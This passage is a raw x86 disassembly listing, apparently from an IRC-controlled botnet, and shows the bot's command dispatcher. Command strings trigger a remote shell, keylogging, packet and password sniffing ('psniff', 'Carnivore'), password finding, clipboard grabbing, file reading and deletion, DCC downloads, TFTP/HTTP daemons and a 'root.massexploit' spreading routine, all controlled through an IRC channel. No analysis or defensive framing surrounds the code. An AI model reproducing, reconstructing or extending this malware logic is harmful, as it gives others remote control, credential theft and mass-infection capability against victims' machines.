mov eax, [ebp+var_4]
push esi
push [ebp+arg_18]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_770], edi
push [ebp+arg_24]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push offset unk_437A60
push eax
call sub_4173AC
add esp, 44h
lea eax, [ebp+var_2DC]
push ebx
push 14h
push eax
call sub_416E58
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_410D1A
loc_410D04: ; CODE XREF: sub_40F6F1+1627j
cmp [ebp+var_560], ebx
jnz loc_414FBB
push 32h
nop
call near ptr 7C802442h
jmp short loc_410D04
; ---------------------------------------------------------------------------
loc_410D1A: ; CODE XREF: sub_40F6F1+1611j
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_2DC]
push offset unk_437A14
push eax
call sub_4173AC
add esp, 0Ch
jmp loc_414FBB
; ---------------------------------------------------------------------------
loc_410D3A: ; CODE XREF: sub_40F6F1+1537j
push [ebp+arg_8]
push offset aCom_sysinfo ; "com.sysinfo"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415200
push [ebp+arg_8]
push offset aCom_si ; "com.si"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415200
push [ebp+arg_8]
push offset aIrc_discordanc ; "irc.discordanc33"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4151CA
push [ebp+arg_8]
push offset aIrc_disco33 ; "irc.disco33"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4151CA
push [ebp+arg_8]
push offset aCom_procs ; "com.procs"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4150C3
push [ebp+arg_8]
push offset aCom_ps ; "com.ps"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4150C3
push [ebp+arg_8]
push offset aCom_harvest ; "com.harvest"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41509B
push [ebp+arg_8]
push offset aCom_key ; "com.key"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41509B
push [ebp+arg_8]
push offset aCom_uptime ; "com.uptime"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415015
push [ebp+arg_8]
push offset aCom_up ; "com.up"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_415015
push [ebp+arg_8]
push offset aCom_driveinfo ; "com.driveinfo"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414FFA
push [ebp+arg_8]
push offset aCom_drv ; "com.drv"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414FFA
push [ebp+arg_8]
push offset aCom_testdlls ; "com.testdlls"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414FE3
push [ebp+arg_8]
push offset aCom_dll ; "com.dll"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414FE3
push [ebp+arg_8]
push offset aCom_opencmd ; "com.opencmd"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414F7B
push [ebp+arg_8]
push offset aCom_ocmd ; "com.ocmd"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414F7B
push [ebp+arg_8]
push offset aCom_ocmd_off ; "com.ocmd.off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410ED5
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_410782
; ---------------------------------------------------------------------------
loc_410ED5: ; CODE XREF: sub_40F6F1+17CAj
push [ebp+arg_8]
push offset aIrc_who ; "irc.who"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_410F6D
cmp [ebp+var_8], ebx
jnz short loc_410F09
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push edi
call sub_40DC10
add esp, 14h
loc_410F09: ; CODE XREF: sub_40F6F1+17FEj
mov eax, [ebp+arg_18]
xor esi, esi
mov [ebp+arg_4], eax
jmp short loc_410F16
; ---------------------------------------------------------------------------
loc_410F13: ; CODE XREF: sub_40F6F1+186Aj
mov eax, [ebp+arg_4]
loc_410F16: ; CODE XREF: sub_40F6F1+1820j
cmp [eax], bl
jz short loc_410F1D
inc eax
jmp short loc_410F22
; ---------------------------------------------------------------------------
loc_410F1D: ; CODE XREF: sub_40F6F1+1827j
mov eax, offset aEmpty ; "<Empty>"
loc_410F22: ; CODE XREF: sub_40F6F1+182Aj
push eax
push esi
lea eax, [ebp+var_2DC]
push offset aD_S ; "%d. %s"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push edi
call sub_40DC10
add [ebp+arg_4], 80h
add esp, 24h
inc esi
cmp esi, 2
jl short loc_410F13
push offset dword_4378DC
loc_410F62: ; CODE XREF: sub_40F6F1+5D74j
call sub_40C4F7
pop ecx
jmp loc_415956
; ---------------------------------------------------------------------------
loc_410F6D: ; CODE XREF: sub_40F6F1+17F5j
push [ebp+arg_8]
push offset aCom_getclip ; "com.getclip"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414F3E
push [ebp+arg_8]
push offset aCom_gc ; "com.gc"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414F3E
push [ebp+arg_8]
push offset aUtil_flusharp ; "util.flusharp"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414F13
push [ebp+arg_8]
push offset aUtil_farp ; "util.farp"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414F13
push [ebp+arg_8]
push offset aUtil_flushdns ; "util.flushdns"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414EEF
push [ebp+arg_8]
push offset aUtil_fdns ; "util.fdns"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414EEF
push [ebp+arg_8]
push offset aRoot_currentip ; "root.currentip"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414EB4
push [ebp+arg_8]
push offset aRoot_cip ; "root.cip"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414EB4
push [ebp+arg_8]
push offset aDaemon_httpd_o ; "daemon.httpd.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414D21
push [ebp+arg_8]
push offset aDaemon_web_on ; "daemon.web.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414D21
push [ebp+arg_8]
push offset aDaemon_tftp_on ; "daemon.tftp.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD6
push [ebp+arg_8]
push offset aDaemon_tf_on ; "daemon.tf.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414BD6
push [ebp+arg_8]
push offset aCom_findpass ; "com.findpass"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414B32
push [ebp+arg_8]
push offset aCom_fp ; "com.fp"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414B32
push [ebp+arg_8]
push offset aRoot_massexplo ; "root.massexploit"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41483E
push [ebp+arg_8]
push offset aRoot_mass ; "root.mass"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41483E
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40FAB8
push [ebp+arg_8]
push offset aIrc_nick ; "irc.nick"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414825
push [ebp+arg_8]
push offset aIrc_n ; "irc.n"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414825
push [ebp+arg_8]
push offset aIrc_join ; "irc.join"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414805
push [ebp+arg_8]
push offset aIrc_j ; "irc.j"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414805
push [ebp+arg_8]
push offset aIrc_part ; "irc.part"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4147EC
push [ebp+arg_8]
push offset aIrc_pt ; "irc.pt"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4147EC
push [ebp+arg_8]
push offset aIrc_raw ; "irc.raw"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4147B5
push [ebp+arg_8]
push offset aIrc_ra ; "irc.ra"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4147B5
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4146F2
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4146F2
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414647
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414647
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4145F9
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4145F9
push [ebp+arg_8]
push offset aIrc_prefix ; "irc.prefix"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4145D5
push [ebp+arg_8]
push offset aIrc_pr ; "irc.pr"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4145D5
push [ebp+arg_8]
push offset aCom_open ; "com.open"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4145AB
push [ebp+arg_8]
push offset aCom_o ; "com.o"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4145AB
push [ebp+arg_8]
push offset aIrc_setserve ; "irc.setserve"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414586
push [ebp+arg_8]
push offset aIrc_se ; "irc.se"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414586
push [ebp+arg_8]
push offset aIrc_dns ; "irc.dns"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4144F4
push [ebp+arg_8]
push offset aIrc_dn ; "irc.dn"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4144F4
push [ebp+arg_8]
push offset aCom_killprocna ; "com.killprocname"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4144C8
push [ebp+arg_8]
push offset aCom_kpn ; "com.kpn"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4144C8
push [ebp+arg_8]
push offset aCom_prockillid ; "com.prockillid"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41446D
push [ebp+arg_8]
push offset aCom_pkid ; "com.pkid"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41446D
push [ebp+arg_8]
push offset aCom_delete ; "com.delete"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414436
push [ebp+arg_8]
push offset aCom_del ; "com.del"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414436
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414355
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414355
push [ebp+arg_8]
push offset aCom_filelist ; "com.filelist"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41433A
push [ebp+arg_8]
push offset aCom_fl ; "com.fl"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41433A
push [ebp+arg_8]
push offset aIrc_visit ; "irc.visit"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41425C
push [ebp+arg_8]
push offset aIrc_v ; "irc.v"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41425C
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414221
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414221
push [ebp+arg_8]
push offset aCom_cmd ; "com.cmd"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4141D6
push [ebp+arg_8]
push offset aCom_cm ; "com.cm"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_4141D6
push [ebp+arg_8]
push offset aCom_readfile ; "com.readfile"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414142
push [ebp+arg_8]
push offset aCom_rf ; "com.rf"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_414142
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_4115F4
push edi
push offset aOn ; "on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_411595
push 19h
call sub_4170A0
test eax, eax
pop ecx
jle short loc_4114C6
push offset a_n_z_m_Psniff_ ; ".n.z.m. (psniff.p.l.g) .»». Already ru"...
jmp loc_4115C4
; ---------------------------------------------------------------------------
loc_4114C6: ; CODE XREF: sub_40F6F1+1DC9j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_464], eax
jnz short loc_411508
mov esi, offset aSodoma_3s_0 ; "##sodoma_3s"
push offset byte_43C63C
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_411508
mov esi, [ebp+var_8C]
loc_411508: ; CODE XREF: sub_40F6F1+1DF9j
; sub_40F6F1+1E0Fj
push esi
lea eax, [ebp+var_4EC]
push 80h
push eax
call sub_41792A
lea eax, [ebp+var_2DC]
push offset a_n_z_m_Psnif_0 ; ".n.z.m. (psniff.p.l.g) .»». Carnivore "...
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 19h
push eax
call sub_416E58
add esp, 20h
mov [ebp+var_46C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_402822
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_46C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_411584
loc_411572: ; CODE XREF: sub_40F6F1+1E91j
cmp [ebp+var_460], ebx
jnz short loc_4115D2
push 32h
nop
call near ptr 7C802442h
jmp short loc_411572
; ---------------------------------------------------------------------------
loc_411584: ; CODE XREF: sub_40F6F1+1E7Fj
nop
call near ptr 7C910331h
push eax
push offset a_n_z_m_Psnif_1 ; ".n.z.m. (psniff.p.l.g) .»». Failed to "...
jmp loc_4145E5
; ---------------------------------------------------------------------------
loc_411595: ; CODE XREF: sub_40F6F1+1DB9j
push edi
push offset aOff ; "off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4115D2
push ebx
push 19h
call sub_417053
pop ecx
cmp eax, ebx
pop ecx
jle short loc_4115BF
push eax
push offset a_n_z_m_Psnif_2 ; ".n.z.m. (psniff.p.l.g) .»». Carnivore "...
jmp loc_4145E5
; ---------------------------------------------------------------------------
loc_4115BF: ; CODE XREF: sub_40F6F1+1EC1j
push offset a_n_z_m_Psnif_3 ; ".n.z.m. (psniff.p.l.g) .»». No Carnivo"...
loc_4115C4: ; CODE XREF: sub_40F6F1+1DD0j
; sub_40F6F1+1F40j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_4115D2: ; CODE XREF: sub_40F6F1+1E87j
; sub_40F6F1+1EB3j ...
cmp [ebp+var_8], ebx
jnz loc_4100A4
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
jmp loc_4158DB
; ---------------------------------------------------------------------------
loc_4115F4: ; CODE XREF: sub_40F6F1+1DA4j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_41173E
push edi
push offset aOn ; "on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_411706
push 22h
call sub_4170A0
test eax, eax
pop ecx
jle short loc_411633
push offset a_n_z_m_Sniffer ; ".n.z.m. (sniffer.p.l.g) .»». Already ru"...
jmp short loc_4115C4
; ---------------------------------------------------------------------------
loc_411633: ; CODE XREF: sub_40F6F1+1F39j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_464], eax
jnz short loc_411675
mov esi, offset aSodoma_3s_0 ; "##sodoma_3s"
push offset byte_43C63C
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_411675
mov esi, [ebp+var_8C]
loc_411675: ; CODE XREF: sub_40F6F1+1F66j
; sub_40F6F1+1F7Cj
push esi
lea eax, [ebp+var_4EC]
push 80h
push eax
call sub_41792A
lea eax, [ebp+var_2DC]
push offset a_n_z_m_Sniff_0 ; ".n.z.m. (sniffer.p.l.g) .»». packet sni"...
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 22h
push eax
call sub_416E58
add esp, 20h
mov [ebp+var_46C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_402E92
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_46C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_4116F5
loc_4116DF: ; CODE XREF: sub_40F6F1+2002j
cmp [ebp+var_460], ebx
jnz loc_4115D2
push 32h
nop
call near ptr 7C802442h
jmp short loc_4116DF
; ---------------------------------------------------------------------------
loc_4116F5: ; CODE XREF: sub_40F6F1+1FECj
nop
call near ptr 7C910331h
push eax
push offset a_n_z_m_Sniff_1 ; ".n.z.m. (sniffer.p.l.g) .»». Failed to "...
jmp loc_4145E5
; ---------------------------------------------------------------------------
loc_411706: ; CODE XREF: sub_40F6F1+1F29j
push edi
push offset aOff ; "off"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_4115D2
push ebx
push 22h
call sub_417053
pop ecx
cmp eax, ebx
pop ecx
jle short loc_411734
push eax
push offset a_n_z_m_Sniff_2 ; ".n.z.m. (sniffer.p.l.g) .»». sniffer s"...
jmp loc_4145E5
; ---------------------------------------------------------------------------
loc_411734: ; CODE XREF: sub_40F6F1+2036j
push offset a_n_z_m_Sniff_3 ; ".n.z.m. (sniffer.p.l.g) .»». No sniffer"...
jmp loc_4115C4
; ---------------------------------------------------------------------------
loc_41173E: ; CODE XREF: sub_40F6F1+1F14j
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413FD6
push [ebp+arg_8]
push offset aCmd_kl_on ; "cmd.kl.on"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413FD6
push [ebp+arg_8]
push offset aOffz ; "offz"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413FB5
push [ebp+arg_8]
push offset aOffz ; "offz"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413FB5
push [ebp+arg_8]
push offset aSys_net ; "sys.net"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_411A6B
cmp dword_441488, ebx
jz short loc_4117CB
cmp dword_4414B0, ebx
jz short loc_4117CB
push offset dword_437368
jmp loc_411A25
; ---------------------------------------------------------------------------
loc_4117CB: ; CODE XREF: sub_40F6F1+20C6j
; sub_40F6F1+20CEj
cmp [ebp+var_C], ebx
jz loc_411A33
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_4117F3
push eax
push [ebp+var_C]
call sub_417980
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_4117F3: ; CODE XREF: sub_40F6F1+20F2j
push edi
push offset aStart ; "start"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_411859
cmp [ebp+arg_18], ebx
jz short loc_41182D
push [ebp+arg_0]
push 3
loc_41180E: ; CODE XREF: sub_40F6F1+217Ej
; sub_40F6F1+2196j ...
call sub_40DCAB
push eax
lea eax, [ebp+var_2DC]
push offset dword_42433C
push eax
call sub_4173AC
add esp, 14h
jmp loc_411A33
; ---------------------------------------------------------------------------
loc_41182D: ; CODE XREF: sub_40F6F1+2116j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DF52
add esp, 0Ch
test eax, eax
jz short loc_41184F
push offset dword_437334
jmp loc_411A25
; ---------------------------------------------------------------------------
loc_41184F: ; CODE XREF: sub_40F6F1+2152j
push offset dword_437304
jmp loc_411A25
; ---------------------------------------------------------------------------
loc_411859: ; CODE XREF: sub_40F6F1+2111j
push edi
push offset aStop ; "stop"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_411871
push [ebp+arg_0]
push 4
jmp short loc_41180E
; ---------------------------------------------------------------------------
loc_411871: ; CODE XREF: sub_40F6F1+2177j
push edi
push offset aPause ; "pause"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_411889
push [ebp+arg_0]
push 5
jmp short loc_41180E
; ---------------------------------------------------------------------------
loc_411889: ; CODE XREF: sub_40F6F1+218Fj
push edi
push offset aContinue ; "continue"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4118A4
push [ebp+arg_0]
push 6
jmp loc_41180E
; ---------------------------------------------------------------------------
loc_4118A4: ; CODE XREF: sub_40F6F1+21A7j
push edi
push offset aDelete ; "delete"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4118BF
push [ebp+arg_0]
push 1
jmp loc_41180E
; ---------------------------------------------------------------------------
loc_4118BF: ; CODE XREF: sub_40F6F1+21C2j
push edi
push offset aShare ; "share"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41193C
cmp [ebp+arg_18], ebx
jz short loc_41190F
cmp [ebp+var_9C4], bl
jz short loc_4118E5
push ebx
push [ebp+arg_18]
push 1
jmp short loc_4118F0
; ---------------------------------------------------------------------------
loc_4118E5: ; CODE XREF: sub_40F6F1+21EAj
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
loc_4118F0: ; CODE XREF: sub_40F6F1+21F2j
call sub_40E08F
push eax
lea eax, [ebp+var_2DC]
push offset dword_42433C
push eax
call sub_4173AC
add esp, 18h
jmp loc_411A33
; ---------------------------------------------------------------------------
loc_41190F: ; CODE XREF: sub_40F6F1+21E2j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40E284
add esp, 10h
test eax, eax
jz short loc_411932
push offset dword_4372B4
jmp loc_411A25
; ---------------------------------------------------------------------------
loc_411932: ; CODE XREF: sub_40F6F1+2235j
push offset dword_437284
jmp loc_411A25
; ---------------------------------------------------------------------------
loc_41193C: ; CODE XREF: sub_40F6F1+21DDj
push edi
push offset aUser ; "user"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_4119D8
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4119B1
cmp [ebp+var_9C4], bl
jz short loc_411972
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_411992
; ---------------------------------------------------------------------------
loc_411972: ; CODE XREF: sub_40F6F1+226Dj
push [ebp+var_4]
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_41198E
push esi
push eax
push ebx
jmp short loc_411992
; ---------------------------------------------------------------------------
loc_41198E: ; CODE XREF: sub_40F6F1+2296j
push ebx
push eax
push 2
loc_411992: ; CODE XREF: sub_40F6F1+227Fj
; sub_40F6F1+229Bj
call sub_40E3A5
push eax
lea eax, [ebp+var_2DC]
push offset dword_42433C
push eax
call sub_4173AC
add esp, 24h
jmp loc_411A33
; ---------------------------------------------------------------------------
loc_4119B1: ; CODE XREF: sub_40F6F1+2265j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40E8B9
add esp, 10h
test eax, eax
jz short loc_4119D1
push offset dword_43724C
jmp short loc_411A25
; ---------------------------------------------------------------------------
loc_4119D1: ; CODE XREF: sub_40F6F1+22D7j
push offset dword_437220
jmp short loc_411A25
; ---------------------------------------------------------------------------
loc_4119D8: ; CODE XREF: sub_40F6F1+225Aj
push edi
push offset aSend ; "send"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_411A20
cmp [ebp+arg_18], ebx
jz short loc_411A19
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EB6D
push eax
lea eax, [ebp+var_2DC]
push offset dword_42433C
push eax
call sub_4173AC
add esp, 1Ch
jmp short loc_411A33
; ---------------------------------------------------------------------------
loc_411A19: ; CODE XREF: sub_40F6F1+22FBj
push offset dword_4371F0
jmp short loc_411A25
; ---------------------------------------------------------------------------
loc_411A20: ; CODE XREF: sub_40F6F1+22F6j
push offset dword_4371C4
loc_411A25: ; CODE XREF: sub_40F6F1+20D5j
; sub_40F6F1+2159j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_411A33: ; CODE XREF: sub_40F6F1+20DDj
; sub_40F6F1+2137j ...
cmp [ebp+var_8], ebx
jnz short loc_411A54
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_411A4C: ; CODE XREF: sub_40F6F1+6124j
call sub_40DC10
add esp, 14h
loc_411A54: ; CODE XREF: sub_40F6F1+2345j
; sub_40F6F1+4AC6j ...
mov esi, [ebp+arg_24]
loc_411A57: ; CODE XREF: sub_40F6F1+9B6j
; sub_40F6F1+4DB0j ...
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
pop ecx
mov eax, esi
jmp loc_40FABB
; ---------------------------------------------------------------------------
loc_411A6B: ; CODE XREF: sub_40F6F1+20BAj
push [ebp+arg_8]
push offset aCom_capture ; "com.capture"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413D72
push [ebp+arg_8]
push offset aCom_cap ; "com.cap"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413D72
push [ebp+arg_8]
push offset aIrc_gethost ; "irc.gethost"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413C8E
push [ebp+arg_8]
push offset aIrc_gh ; "irc.gh"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413C8E
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40FAB8
push [ebp+arg_8]
push offset aIrc_addalias ; "irc.addalias"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413C52
push [ebp+arg_8]
push offset aIrc_aa ; "irc.aa"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413C52
push [ebp+arg_8]
push offset aIrc_privmsg ; "irc.privmsg"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413BFF
push [ebp+arg_8]
push offset aIrc_pm ; "irc.pm"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413BFF
push [ebp+arg_8]
push offset aIrc_action ; "irc.action"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413B91
push [ebp+arg_8]
push offset aIrc_ac ; "irc.ac"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413B91
push [ebp+arg_8]
push offset aIrc_cycle ; "irc.cycle"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413B2E
push [ebp+arg_8]
push offset aIrc_cy ; "irc.cy"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413B2E
push [ebp+arg_8]
push offset aIrc_mode ; "irc.mode"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413AEF
push [ebp+arg_8]
push offset aIrc_m ; "irc.m"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413AEF
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413A84
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413A84
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413A02
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413A02
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413991
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_413991
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41396B
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_4177D0
pop ecx
